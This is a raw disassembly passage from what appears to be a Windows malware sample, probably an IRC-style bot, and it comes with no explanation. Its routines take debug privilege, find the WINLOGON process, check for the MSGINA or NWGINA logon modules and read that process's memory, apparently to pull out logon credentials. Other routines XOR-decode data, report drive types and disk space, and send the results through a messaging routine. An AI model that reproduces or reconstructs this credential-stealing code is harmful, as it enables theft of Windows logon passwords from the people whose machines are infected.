unk_4382DC push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 28h loc_4169AF: ; CODE XREF: ___:00416964j ; ___:00416969j nop call near ptr 269083Ah sub eax, [ebp-4] xor edx, edx mov ecx, 3E8h push dword ptr [ebp-20h] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax nop call near ptr 26608D5h push dword ptr [ebp-1Ch] call sub_41BA91 cmp [ebp-38h], esi pop ecx jz short loc_416A39 lea eax, [ebp-148h] push eax call sub_4010AB cmp eax, [ebp-38h] pop ecx jz short loc_416A39 push dword ptr [ebp-38h] mov [ebp-14h], esi push eax lea eax, [ebp-510h] push offset unk_4382B4 push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 28h loc_416A39: ; CODE XREF: ___:004169E1j ; ___:004169F3j cmp [ebp-14h], esi jz loc_416C79 cmp dword ptr [ebp-44h], 1 jz loc_416B34 mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_427690 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] ; DATA XREF: sub_556A70+C5Bo fmul dbl_427690 fstp qword ptr [esp] push offset unk_43827C push eax call sub_41C266 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416AB4 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416AB4: ; CODE XREF: ___:00416A92j lea eax, [ebp-510h] push eax call sub_415D38 cmp dword ptr [ebp-40h], 1 pop ecx jnz loc_416C79 push 5 push esi lea eax, [ebp-148h] push esi push eax push offset aOpen ; "open" push esi call dword_4CB940 cmp [ebp-30h], esi jnz loc_416C79 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset dword_438260 push eax call sub_41C266 push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 lea eax, [ebp-510h] push eax call sub_415D38 add esp, 24h jmp loc_416C79 ; --------------------------------------------------------------------------- loc_416B34: ; CODE XREF: ___:00416A46j mov [ebp-8], ebx mov [ebp-4], esi fild qword ptr [ebp-8] push ecx push ecx mov [ebp-8], edi mov [ebp-4], esi fmul dbl_427690 lea eax, [ebp-148h] fstp qword ptr [esp] fild qword ptr [ebp-8] push eax push ecx push ecx lea eax, [ebp-510h] fmul dbl_427690 fstp qword ptr [esp] push offset unk_43821C push eax call sub_41C266 add esp, 1Ch cmp [ebp-30h], esi jnz short loc_416B9C push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416B9C: ; CODE XREF: ___:00416B7Aj lea eax, [ebp-510h] push eax call sub_415D38 push 10h lea eax, [ebp-10h] push esi push eax call sub_41BF70 push 44h lea eax, [ebp-310h] pop edi push edi push esi push eax call sub_41BF70 add esp, 1Ch mov [ebp-310h], edi lea eax, [ebp-10h] mov dword ptr [ebp-304h], offset byte_43DB88 push 1 mov [ebp-2E0h], si pop edi push eax lea eax, [ebp-310h] push eax push esi push esi push 28h push esi push esi lea eax, [ebp-148h] push esi push eax push esi mov [ebp-2E4h], edi nop call near ptr 2660B67h cmp eax, edi jnz short loc_416C1E call dword_4CB92C call sub_4188A6 push esi call near ptr 77E75CB5h nop loc_416C1E: ; CODE XREF: ___:00416C0Aj lea eax, [ebp-148h] push eax push offset unk_4381E8 jmp short loc_416C38 ; --------------------------------------------------------------------------- loc_416C2C: ; CODE XREF: ___:004167E5j lea eax, [ebp-248h] push eax push offset unk_4381BC loc_416C38: ; CODE XREF: ___:00416C2Aj lea eax, [ebp-510h] push eax call sub_41C266 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_416C6C push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_416C6C: ; CODE XREF: ___:00416C4Aj lea eax, [ebp-510h] push eax call sub_415D38 pop ecx loc_416C79: ; CODE XREF: ___:00416A3Cj ; ___:00416AC5j ... push dword ptr [ebp-18h] call dword_4CBA08 push dword ptr [ebp-48h] call sub_40B6D6 pop ecx push esi nop call near ptr 26E0000h ; =============== S U B R O U T I N E ======================================= sub_416C92 proc near ; CODE XREF: ___:004168BEp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416CAE loc_416C9E: ; CODE XREF: sub_416C92+1Aj mov dl, byte_429094 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416C9E locret_416CAE: ; CODE XREF: sub_416C92+Aj retn sub_416C92 endp ; =============== S U B R O U T I N E ======================================= sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p ; sub_401ACD+5896p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DC5E pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416CAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416CC9 proc near ; CODE XREF: sub_41036B+458p ; sub_41036B+5FDp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D35F8 push 0 push edi call sub_41BF70 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416CEE: ; CODE XREF: sub_416CC9+5Bj ; sub_416CC9+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DD20 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DCB0 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416D2C inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416CEE mov byte ptr [esi], 2Ch inc esi jmp short loc_416CEE ; --------------------------------------------------------------------------- loc_416D2C: ; CODE XREF: sub_416CC9+4Bj dec esi mov eax, edi loc_416D2F: ; CODE XREF: sub_416CC9+73j lea ecx, [ebp+var_38] cmp esi, ecx jb short loc_416D3E mov cl, [esi] mov [eax], cl inc eax dec esi jmp short loc_416D2F ; --------------------------------------------------------------------------- loc_416D3E: ; CODE XREF: sub_416CC9+6Bj and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416CC9 endp ; =============== S U B R O U T I N E ======================================= sub_416D48 proc near ; CODE XREF: sub_416EFD+51p ; sub_416EFD+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CBA34 sub eax, 0 jz short loc_416D8B dec eax jz short loc_416D85 dec eax dec eax jz short loc_416D7F dec eax jz short loc_416D79 dec eax jz short loc_416D73 dec eax jz short loc_416D6D mov eax, offset word_4383AC retn ; --------------------------------------------------------------------------- loc_416D6D: ; CODE XREF: sub_416D48+1Dj mov eax, offset off_4383A8 retn ; --------------------------------------------------------------------------- loc_416D73: ; CODE XREF: sub_416D48+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416D79: ; CODE XREF: sub_416D48+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416D7F: ; CODE XREF: sub_416D48+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416D85: ; CODE XREF: sub_416D48+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416D8B: ; CODE XREF: sub_416D48+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416D48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D91 proc near ; CODE XREF: sub_416DD9+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CB8C4 test eax, eax jz short loc_416DC6 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax loc_416DC6: ; CODE XREF: sub_416D91+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416D91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p ; sub_41AF8F+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416D91 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_416EB7 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_416EB7 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx mov edi, offset aSkb ; "%sKB" pop ecx mov esi, 80h push eax push edi lea eax, [ebp+var_198] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41C360 add esp, 10h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DDA0 push edx push eax call sub_416CC9 pop ecx pop ecx push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41C360 add esp, 10h pop ebx jmp short loc_416EE9 ; --------------------------------------------------------------------------- loc_416EB7: ; CODE XREF: sub_416DD9+2Cj ; sub_416DD9+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_118] pop ecx push esi push eax call sub_41C266 pop ecx lea eax, [ebp+var_98] pop ecx push esi push eax call sub_41C266 pop ecx pop ecx loc_416EE9: ; CODE XREF: sub_416DD9+DCj mov eax, [ebp+arg_0] push 60h pop ecx lea esi, [ebp+var_198] mov edi, eax rep movsd pop edi pop esi leave retn sub_416DD9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EFD proc near ; CODE XREF: sub_416FCF+17p ; sub_416FCF+60p var_500 = byte ptr -500h var_300 = byte ptr -300h var_180 = byte ptr -180h var_100 = byte ptr -100h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 500h push ebx mov ebx, [ebp+arg_C] push esi push edi lea eax, [ebp+var_300] push ebx push eax call sub_416DD9 push 60h mov esi, eax pop ecx lea edi, [ebp+var_300] rep movsd push 60h lea esi, [ebp+var_300] pop ecx lea edi, [ebp+var_180] lea eax, [ebp+var_80] push offset aFailed ; "failed" rep movsd push eax call sub_41CA50 add esp, 10h test eax, eax jnz short loc_416F70 push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383FC lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 14h jmp short loc_416FA4 ; --------------------------------------------------------------------------- loc_416F70: ; CODE XREF: sub_416EFD+4Dj lea eax, [ebp+var_180] push eax lea eax, [ebp+var_100] push eax lea eax, [ebp+var_80] push eax push ebx push ebx call sub_416D48 pop ecx push eax push offset unk_4383C0 lea eax, [ebp+var_500] push 200h push eax call sub_41C360 add esp, 20h loc_416FA4: ; CODE XREF: sub_416EFD+71j push 1 lea eax, [ebp+var_500] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_500] push eax call sub_415D38 add esp, 18h pop edi pop esi pop ebx leave retn sub_416EFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jz short loc_416FF0 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h jmp short loc_417051 ; --------------------------------------------------------------------------- loc_416FF0: ; CODE XREF: sub_416FCF+9j push esi push edi push ebx push ebx call dword_4CB93C lea esi, [eax+2] push esi call sub_41BEB5 pop ecx mov edi, eax push edi push esi call dword_4CB93C cmp [edi], bl mov esi, edi jz short loc_417048 loc_417014: ; CODE XREF: sub_416FCF+77j push offset off_438438 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_417037 push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_416EFD add esp, 10h loc_417037: ; CODE XREF: sub_416FCF+54j push esi call sub_41B9C0 cmp [esi+eax+1], bl lea esi, [esi+eax+1] pop ecx jnz short loc_417014 loc_417048: ; CODE XREF: sub_416FCF+43j push edi call sub_41BA91 pop ecx pop edi pop esi loc_417051: ; CODE XREF: sub_416FCF+1Fj pop ebx pop ebp retn sub_416FCF endp ; --------------------------------------------------------------------------- dword_417054 dd 81EC8B55h, 49CECh, 8458B00h, 0B9575653h, 0A7h, 0BD8DF08Bh ; DATA XREF: sub_401ACD+67C1o dd 0FFFFFD64h, 80C7A5F3h, 298h, 1, 0FEEC858Dh, 0E850FFFFh dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh, 83FFFF27h dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh, 0C4830000h dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h, 83000051h dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h dd 0E8905359h, 22C8E94h, 555B5E5Fh, 0EC81EC8Bh, 54Ch, 0BE575653h dd 104h, 8D1875FFh, 0FFFDB885h, 84A068FFh, 50560043h, 51CBE8h dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh, 0B8858D50h dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh, 0FFFEE885h dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h, 0FF000051h dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh dd 0E890FC75h, 2348DD8h, 8F75C085h, 90FC75FFh, 1D8DCBE8h dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h, 5117E8h dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 348D53E8h, 0C0859002h dd 9056B175h, 1D8D47E8h, 1C458B02h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o var_29C = byte ptr -29Ch var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 29Ch mov eax, [ebp+arg_0] push esi push edi push 25h pop ecx mov esi, eax lea edi, [ebp+var_9C] push 1 rep movsd pop esi mov [eax+90h], esi call sub_41AE41 cmp eax, esi mov [ebp+var_4], eax jz short loc_417300 cmp eax, 2 jz short loc_417300 push offset unk_438678 jmp loc_41743F ; --------------------------------------------------------------------------- loc_417300: ; CODE XREF: sub_4172C1+2Ej ; sub_4172C1+33j push esi push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx test eax, eax pop ecx jz loc_41743A push ebx push offset aNtdll_dll ; "NTDLL.DLL" nop call near ptr 26B0000h mov esi, dword_4270C4 mov edi, eax push offset aNtquerysystemi ; "NtQuerySystemInformation" push edi mov [ebp+var_8], edi call esi push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer" push edi mov dword_4D483C, eax call esi push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation" push edi mov dword_4D4830, eax call esi push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer" push edi mov dword_4D4A40, eax call esi push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString" push edi mov dword_4D4838, eax call esi mov dword_4D4834, eax call sub_417493 test eax, eax mov [ebp+arg_0], eax jz loc_41740D mov esi, dword_427148 mov edi, 400h mov ebx, offset dword_4D3830 push edi push ebx push offset off_4385B4 call esi push edi mov edi, offset dword_4D4030 push edi push offset off_43859C call esi cmp [ebp+var_4], 1 push offset dword_4D4A48 push [ebp+arg_0] jnz short loc_4173B9 call sub_41761C jmp short loc_4173BE ; --------------------------------------------------------------------------- loc_4173B9: ; CODE XREF: sub_4172C1+EFj call sub_4177C3 loc_4173BE: ; CODE XREF: sub_4172C1+F6j pop ecx test eax, eax pop ecx jz short loc_417406 cmp dword_4D4A48, 0 jnz short loc_4173ED push ebx push edi push [ebp+arg_0] lea eax, [ebp+var_29C] push offset unk_438540 push 200h push eax call sub_41C360 add esp, 18h jmp short loc_417420 ; --------------------------------------------------------------------------- loc_4173ED: ; CODE XREF: sub_4172C1+10Aj cmp [ebp+var_4], 1 push [ebp+arg_0] jnz short loc_4173FD call sub_4178F9 jmp short loc_417402 ; --------------------------------------------------------------------------- loc_4173FD: ; CODE XREF: sub_4172C1+133j call sub_417990 loc_417402: ; CODE XREF: sub_4172C1+13Aj pop ecx push eax jmp short loc_417412 ; --------------------------------------------------------------------------- loc_417406: ; CODE XREF: sub_4172C1+101j push offset unk_438508 jmp short loc_417412 ; --------------------------------------------------------------------------- loc_41740D: ; CODE XREF: sub_4172C1+B6j push offset unk_4384DC loc_417412: ; CODE XREF: sub_4172C1+143j ; sub_4172C1+14Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_417420: ; CODE XREF: sub_4172C1+12Aj push 0 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_419B9E pop ecx pop ecx push [ebp+var_8] nop call near ptr 27907BAh pop ebx jmp short loc_41744D ; --------------------------------------------------------------------------- loc_41743A: ; CODE XREF: sub_4172C1+4Ej push offset unk_4384A8 loc_41743F: ; CODE XREF: sub_4172C1+3Aj lea eax, [ebp+var_29C] push eax call sub_41C266 pop ecx pop ecx loc_41744D: ; CODE XREF: sub_4172C1+177j xor esi, esi cmp [ebp+var_10], esi jnz short loc_417474 push esi lea eax, [ebp+var_29C] push [ebp+var_14] push eax lea eax, [ebp+var_98] push eax push [ebp+var_9C] call sub_409869 add esp, 14h loc_417474: ; CODE XREF: sub_4172C1+191j lea eax, [ebp+var_29C] push eax call sub_415D38 push [ebp+var_18] call sub_40B6D6 pop ecx pop ecx push esi nop call near ptr 26E0000h pop edi pop esi sub_4172C1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417493 proc near ; CODE XREF: sub_4172C1+ACp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 18h and [esp+18h+var_4], 0 and [esp+18h+var_14], 0 push ebx push ebp push esi mov esi, dword_427154 mov ebx, 100h push edi push ebx push 8 call esi mov edi, dword_427150 push eax call edi mov ebp, eax lea eax, [esp+28h+var_14] push eax push ebx push ebp push 10h call dword_4D483C push ebp push 0 call esi push eax call near ptr 27B0000h nop push [esp+28h+var_14] push 8 call esi push eax call edi mov ebp, eax mov eax, [esp+28h+var_14] lea ecx, [esp+28h+var_C] mov [esp+28h+var_C], eax push ecx push eax push ebp push 10h call dword_4D483C test eax, eax jnz short loc_417580 mov eax, [esp+28h+var_C] shr eax, 4 mov [esp+28h+var_10], eax jz short loc_417580 push 1 mov ebx, ebp pop ecx cmp eax, ecx mov [esp+28h+var_18], ecx jb short loc_417580 loc_41751C: ; CODE XREF: sub_417493+EBj cmp word ptr [ebx+8], 5 jnz short loc_417573 push 0 push 0 call dword_4D4830 mov edi, eax push edi push 1 push dword ptr [ebx+4] call dword_4D4A40 test eax, eax jnz short loc_417564 mov eax, [edi+60h] push offset aWinlogon ; "WINLOGON" mov [esp+2Ch+var_8], eax lea eax, [edi+80h] push eax call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417598 loc_417564: ; CODE XREF: sub_417493+AAj test edi, edi jz short loc_41756F push edi call dword_4D4838 loc_41756F: ; CODE XREF: sub_417493+D3j mov eax, [esp+28h+var_10] loc_417573: ; CODE XREF: sub_417493+8Ej add ebx, 10h inc [esp+28h+var_18] cmp [esp+28h+var_18], eax jbe short loc_41751C loc_417580: ; CODE XREF: sub_417493+6Dj ; sub_417493+7Aj ... xor edi, edi loc_417582: ; CODE XREF: sub_417493+17Dj push ebp push 0 call esi push eax call near ptr 27B0000h nop mov eax, edi loc_417590: ; CODE XREF: sub_417493+184j pop edi pop esi pop ebp pop ebx add esp, 18h retn ; --------------------------------------------------------------------------- loc_417598: ; CODE XREF: sub_417493+CFj and [esp+28h+var_10], 0 cmp [esp+28h+var_8], 0 jbe short loc_417601 lea eax, [edi+80h] mov [esp+28h+var_18], eax loc_4175AE: ; CODE XREF: sub_417493+16Cj add [esp+28h+var_18], 11Ch push offset aNwgina ; "NWGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_417615 push offset aMsgina ; "MSGINA" push [esp+2Ch+var_18] call sub_41DE4A pop ecx push eax call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_4175F3 mov eax, [ebx+4] mov [esp+28h+var_4], eax loc_4175F3: ; CODE XREF: sub_417493+157j inc [esp+28h+var_10] mov eax, [esp+28h+var_10] cmp eax, [esp+28h+var_8] jb short loc_4175AE loc_417601: ; CODE XREF: sub_417493+10Fj test edi, edi jz short loc_41760C push edi call dword_4D4838 loc_41760C: ; CODE XREF: sub_417493+170j mov edi, [esp+28h+var_4] jmp loc_417582 ; --------------------------------------------------------------------------- loc_417615: ; CODE XREF: sub_417493+13Cj xor eax, eax jmp loc_417590 sub_417493 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41761C proc near ; CODE XREF: sub_4172C1+F1p var_64 = byte ptr -64h var_60 = dword ptr -60h var_40 = byte ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2B = byte ptr -2Bh var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push esi xor esi, esi push [ebp+arg_0] mov [ebp+var_10], esi push esi push 410h nop call near ptr 26802EFh cmp eax, esi mov [ebp+var_4], eax jnz short loc_417645 xor eax, eax jmp loc_4177C0 ; --------------------------------------------------------------------------- loc_417645: ; CODE XREF: sub_41761C+20j mov eax, [ebp+arg_4] push ebx push edi mov [eax], esi lea eax, [ebp+var_64] push eax nop call near ptr 27D0310h push [ebp+var_60] mov [ebp+var_8], esi mov esi, dword_427154 push 8 call esi mov edi, dword_427150 push eax call edi lea ecx, [ebp+var_8] mov ebx, dword_42715C push ecx mov [ebp+arg_0], eax push [ebp+var_60] push eax push 7FFDF000h push [ebp+var_4] call ebx test eax, eax jnz short loc_417695 xor esi, esi jmp loc_4177B3 ; --------------------------------------------------------------------------- loc_417695: ; CODE XREF: sub_41761C+70j lea eax, [ebp+var_40] push 1Ch push eax mov eax, [ebp+arg_0] push dword ptr [eax+18h] push [ebp+var_4] nop call near ptr 27C0B1Eh test eax, eax jz loc_4177A2 mov ecx, [ebp+var_30] mov eax, 1000h and ecx, eax cmp ecx, eax jnz loc_4177A2 test [ebp+var_2B], 1 jnz loc_4177A2 push [ebp+var_34] push 8 call esi push eax call edi mov edi, eax lea eax, [ebp+var_8] push eax mov eax, [ebp+arg_0] push [ebp+var_34] mov [ebp+var_C], edi push edi push dword ptr [eax+18h] push [ebp+var_4] call ebx test eax, eax jz loc_4177A2 loc_4176F8: ; CODE XREF: sub_41761C+112j push edi push offset dword_4D3830 call sub_4263E5 pop ecx test eax, eax pop ecx jnz short loc_417720 lea eax, [edi+200h] push eax push offset dword_4D4030 call sub_4263E5 pop ecx test eax, eax pop ecx jz short loc_417730 loc_417720: ; CODE XREF: sub_41761C+EBj mov eax, [ebp+var_34] mov ecx, [ebp+var_C] inc edi add eax, ecx inc edi cmp edi, eax jnb short loc_4177A2 jmp short loc_4176F8 ; --------------------------------------------------------------------------- loc_417730: ; CODE XREF: sub_41761C+102j test edi, edi jz short loc_4177A2 lea eax, [ebp+var_14] push eax lea eax, [edi+410h] push eax nop call near ptr 275064Ch test eax, eax jz short loc_41776B lea eax, [ebp+var_24] push eax lea eax, [ebp+var_14] push eax call near ptr 2750000h nop test eax, eax jz short loc_41776B mov al, [edi+42Ch] mov ecx, [ebp+arg_4] shr eax, 1 and eax, 7Fh mov [ecx], eax loc_41776B: ; CODE XREF: sub_41761C+12Bj ; sub_41761C+13Dj movzx eax, word ptr [edi+42Ch] shr eax, 8 mov dword_4D4A54, eax mov eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D4A4C, eax mov dword_4D4A50, edi loc_4177A2: ; CODE XREF: sub_41761C+90j ; sub_41761C+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27B0000h mov esi, [ebp+var_10] loc_4177B3: ; CODE XREF: sub_41761C+74j push [ebp+var_4] nop call near ptr 26608D5h pop edi mov eax, esi pop ebx loc_4177C0: ; CODE XREF: sub_41761C+24j pop esi leave retn sub_41761C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177C3 proc near ; CODE XREF: sub_4172C1:loc_4173B9p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h call near ptr 26802EFh nop test eax, eax mov [ebp+arg_0], eax jz loc_4178B5 mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax call near ptr 27D0310h nop mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_4178AC mov edi, dword_427154 loc_41780E: ; CODE XREF: sub_4177C3+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27C0B1Eh test eax, eax jz short loc_41789A mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz 